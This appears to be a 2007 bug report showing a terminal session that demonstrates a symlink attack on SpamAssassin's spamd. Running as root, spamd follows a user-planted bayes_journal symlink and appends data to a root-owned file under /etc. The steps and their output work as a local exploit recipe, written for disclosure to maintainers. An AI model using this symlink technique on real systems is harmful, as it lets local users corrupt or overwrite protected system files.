# using sa-learn, delivery to spamd is currently disabled seamus:~/.spamassassin> ls -l -rw------- 1 madduck madduck 172032 2007-05-23 14:27 bayes_seen -rw------- 1 madduck madduck 5464064 2007-05-23 14:27 bayes_toks -rw-rw---- 1 madduck madduck 5481 2007-05-23 11:42 user_prefs seamus:~/.spamassassin> sa-learn --ham --no-sync < /home/madduck/.maildir/.retrain.unsure/cur/1179915102.29826_2.seamus:2,ST Learned tokens from 1 message(s) (1 message(s) examined) seamus:~/.spamassassin> ls -l -rw------- 1 madduck madduck 1660 2007-05-23 14:29 bayes_journal -rw------- 1 madduck madduck 172032 2007-05-23 14:27 bayes_seen -rw------- 1 madduck madduck 5464064 2007-05-23 14:27 bayes_toks -rw-rw---- 1 madduck madduck 5481 2007-05-23 11:42 user_prefs seamus:~/.spamassassin> sa-learn --force-expire bayes: synced databases from journal in 0 seconds: 59 unique entries (59 total entries) sa-learn --force-expire 10.27s user 0.08s system 99% cpu 10.391 total seamus:~/.spamassassin> sa-learn --forget < /home/madduck/.maildir/.retrain.unsure/cur/1179915102.29826_2.seamus:2,ST Forgot tokens from 1 message(s) (1 message(s) examined) seamus:~/.spamassassin> ls -l total 4120 -rw------- 1 madduck madduck 172032 2007-05-23 14:30 bayes_seen -rw------- 1 madduck madduck 5464064 2007-05-23 14:30 bayes_toks -rw-rw---- 1 madduck madduck 5481 2007-05-23 11:42 user_prefs # using spamc, delivery to spamd by procmail/spamc is disabled, spamd works # first, some information on the configuration: seamus:~/.spamassassin> ps aux | grep [s]pamd.*virtual root 24053 0.0 0.7 55220 4024 ? SNs 11:30 0:02 /usr/sbin/spamd --create-prefs --max-children 5 --helper-home-dir --allow-tell --paranoid --virtual-config-dir=/srv/vmail/%d/%l/.spamassassin -x -d --pidfile=/var/run/spamd.pidS # note the --virtual-config-dir=/srv/vmail/%d/%l/.spamassassin and that it # runs as root. # now, because of http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=387878, # I make use of the workaround I mention in the bug report: seamus:~/.spamassassin> ls -l /srv/vmail/seamus.madduck.net lrwxrwxrwx 1 vmail vmail 5 2006-07-02 16:07 /srv/vmail/seamus.madduck.net -> /home/ seamus:~/.spamassassin> ls -l /srv/vmail/seamus.madduck.net/madduck/.spamassassin total 4116 -rw------- 1 madduck madduck 172032 2007-05-23 14:30 bayes_seen -rw------- 1 madduck madduck 5464064 2007-05-23 14:31 bayes_toks -rw-rw---- 1 madduck madduck 5481 2007-05-23 11:42 user_prefs # If I do not do the above and thus spamd uses the virtual config, then: seamus:~/.spamassassin> date Wed May 23 14:39:34 CEST 2007 seamus:~/.spamassassin> spamc -lx -L spam < ~/.maildir/.spam/cur/1179868331.1695_0.seamus:2,S Message successfully un/learned seamus:~/.spamassassin> ls -l total 4120 drwx------ 2 madduck madduck 57 2007-05-23 14:31 ./ drwx--x--x 24 madduck madduck 4096 2007-05-23 14:27 ../ -rw------- 1 madduck madduck 172032 2007-05-23 14:30 bayes_seen -rw------- 1 madduck madduck 5464064 2007-05-23 14:31 bayes_toks -rw-rw---- 1 madduck madduck 5481 2007-05-23 11:42 user_prefs # you'll note that the files have not been touched and indeed, as the debug # output shows, spamd cannot deal with --virtual-config the way one might # expect: [28418] dbg: config: using "/srv/vmail///.spamassassin" for user state dir # thus, I use -u $LOGNAME@$(hostname --fqdn) and a symlink from # /srv/vmail/$(hostname--fqdn) -> /home to make it work. seamus:~/.spamassassin> spamc -lx -u madduck@seamus.madduck.net -L spam < ~/.maildir/.spam/cur/1179868331.1695_0.seamus:2,S [...] [28418] dbg: config: using "/srv/vmail/seamus.madduck.net/madduck/.spamassassin" for user state dir # Anyway, back to the issue. I speculate that spamd does not drop root rights # when writing to the user state dir. This may be because it's being run with # --virtual-config. # # Watch this: seamus:~/.spamassassin> ls -l total 4116 -rw------- 1 madduck madduck 172032 2007-05-23 14:30 bayes_seen -rw------- 1 madduck madduck 5464064 2007-05-23 14:31 bayes_toks -rw-rw---- 1 madduck madduck 5481 2007-05-23 11:42 user_prefs seamus:~/.spamassassin> spamc -lx -u madduck@seamus.madduck.net -L spam < ~/.maildir/.spam/cur/1179874583.20192_0.seamus:2, Message successfully un/learned [28418] info: spamd: using default config for madduck@seamus.madduck.net: /srv/vmail/seamus.madduck.net/madduck/.spamassassin/user_prefs [...] [28418] dbg: info: user has changed [28418] dbg: config: using "/srv/vmail/seamus.madduck.net/madduck/.spamassassin" for user state dir [28418] dbg: bayes: tie-ing to DB file R/O /srv/vmail/seamus.madduck.net/madduck/.spamassassin/bayes_toks # this looks okay; it *could* change the user before readong the # configuration, but it does not have to. # # anyway, now let's take a look into the directory: seamus:~/.spamassassin> ls -l total 4124 -rw------- 1 root root 7120 2007-05-23 14:47 bayes_journal -rw------- 1 madduck madduck 172032 2007-05-23 14:30 bayes_seen -rw------- 1 madduck madduck 5464064 2007-05-23 14:31 bayes_toks -rw-rw---- 1 madduck madduck 5481 2007-05-23 11:42 user_prefs seamus:~/.spamassassin> sa-learn --force-expire bayes: bad permissions on journal, can't read: /home/madduck/.spamassassin/bayes_journal # bayes_journal is owned by root. thus, the next step is logical: seamus:~/.spamassassin> rm -f bayes_journal # i have +w on . seamus:~/.spamassassin> echo test > mypasswd seamus:~/.spamassassin> sudo cp mypasswd /etc seamus:~/.spamassassin> ls -l /etc/mypasswd -rw-r--r-- 1 root root 5 2007-05-23 14:51 /etc/mypasswd # i had to use sudo *once* to change the owner. the file is now no longer # writeable or readable to me: seamus:~/.spamassassin> echo test2 > /etc/mypasswd zsh: permission denied: /etc/mypasswd # now for the symlink attack: seamus:~/.spamassassin> rm mypasswd seamus:~/.spamassassin> ln -s /etc/mypasswd bayes_journal seamus:~/.spamassassin> ls -l total 4120 lrwxrwxrwx 1 madduck madduck 13 2007-05-23 14:53 bayes_journal -> /etc/mypasswd -rw------- 1 madduck madduck 172032 2007-05-23 14:30 bayes_seen -rw------- 1 madduck madduck 5464064 2007-05-23 14:50 bayes_toks -rw-rw---- 1 madduck madduck 5481 2007-05-23 11:42 user_prefs # and get the popcorn ready: seamus:~/.spamassassin> spamc -lx -u madduck@seamus.madduck.net -L spam < ~/.maildir/.spam/cur/1179874583.20192_0.seamus:2, Message successfully un/learned [28418] info: spamd: using default config for madduck@seamus.madduck.net: /srv/vmail/seamus.madduck.net/madduck/.spamassassin/user_prefs [...] [28418] dbg: info: user has changed [28418] dbg: config: using "/srv/vmail/seamus.madduck.net/madduck/.spamassassin" for user state dir [28418] dbg: bayes: tie-ing to DB file R/O /srv/vmail/seamus.madduck.net/madduck/.spamassassin/bayes_toks [28418] dbg: bayes: tie-ing to DB file R/O /srv/vmail/seamus.madduck.net/madduck/.spamassassin/bayes_seen [28418] dbg: bayes: found bayes db version 3 [28418] dbg: bayes: DB journal sync: last sync: 1179923376 [28418] dbg: config: using "/srv/vmail/seamus.madduck.net/madduck/.spamassassin" for user state dir seamus:~/.spamassassin> ls -l total 4116 lrwxrwxrwx 1 madduck madduck 13 2007-05-23 14:53 bayes_journal -> /etc/mypasswd -rw------- 1 madduck madduck 172032 2007-05-23 14:30 bayes_seen -rw------- 1 madduck madduck 5464064 2007-05-23 14:50 bayes_toks -rw-rw---- 1 madduck madduck 5481 2007-05-23 11:42 user_prefs seamus:~/.spamassassin> ls -l /etc/mypasswd -rw-r--r-- 1 root root 7125 2007-05-23 14:53 /etc/mypasswd # you'll have to agree that 7125 bytes are a little too much for the string # "test\n", which originally filled this file. And indeed, it seems as if # something was appended: seamus:~/.spamassassin> head -4 /etc/mypasswd test n 1 0 c 1 0 1179874550 b002c04400 c 1 0 1179874550 46590a354c Are you now convinced that spamd enables users to DoS the system pretty badly? I went on to experiment droppping --virtual-config, and check this out: seamus:~/.spamassassin> ps aux | grep spamd root 32551 0.0 10.4 58044 53368 pts/24 S+ 15:14 0:03 /usr/bin/perl -T -w /usr/sbin/spamd --create-prefs --max-children 5 --helper-home-dir --allow-tell --paranoid -x --pidfile=/var/run/spamd.pid seamus:~/.spamassassin> date Wed May 23 14:59:49 CEST 2007 seamus:~/.spamassassin> spamc -lx -L spam < ~/.maildir/.spam/cur/1179876406.2503_0.seamus:2,S Message successfully un/learned # again, no change. Let's look at the debug log: [32587] info: spamd: connection from seamus.madduck.net [127.0.0.1] at port 47868 [...] [32587] dbg: config: using "/root/.spamassassin" for user state dir uh, what? [32587] dbg: locker: safe_lock: created /root/.spamassassin/bayes.lock.seamus.madduck.net.32587 [32587] dbg: locker: safe_lock: trying to get lock on /root/.spamassassin/bayes with 0 retries [32587] dbg: locker: safe_lock: link to /root/.spamassassin/bayes.lock: link ok [32587] dbg: bayes: tie-ing to DB file R/W /root/.spamassassin/bayes_toks [32587] dbg: bayes: tie-ing to DB file R/W /root/.spamassassin/bayes_seen yes, indeed... This time, spamd didn't even bother dropping root, and specifying -u $LOGNAME when invoking spamc doesn't make a difference. And no, spamc is not setuid: seamus:~/.spamassassin> ls -l =spamc -rwxr-xr-x 1 root root 27160 2007-02-15 06:28 /usr/bin/spamc* I hope this is now an analysis more according to your standards.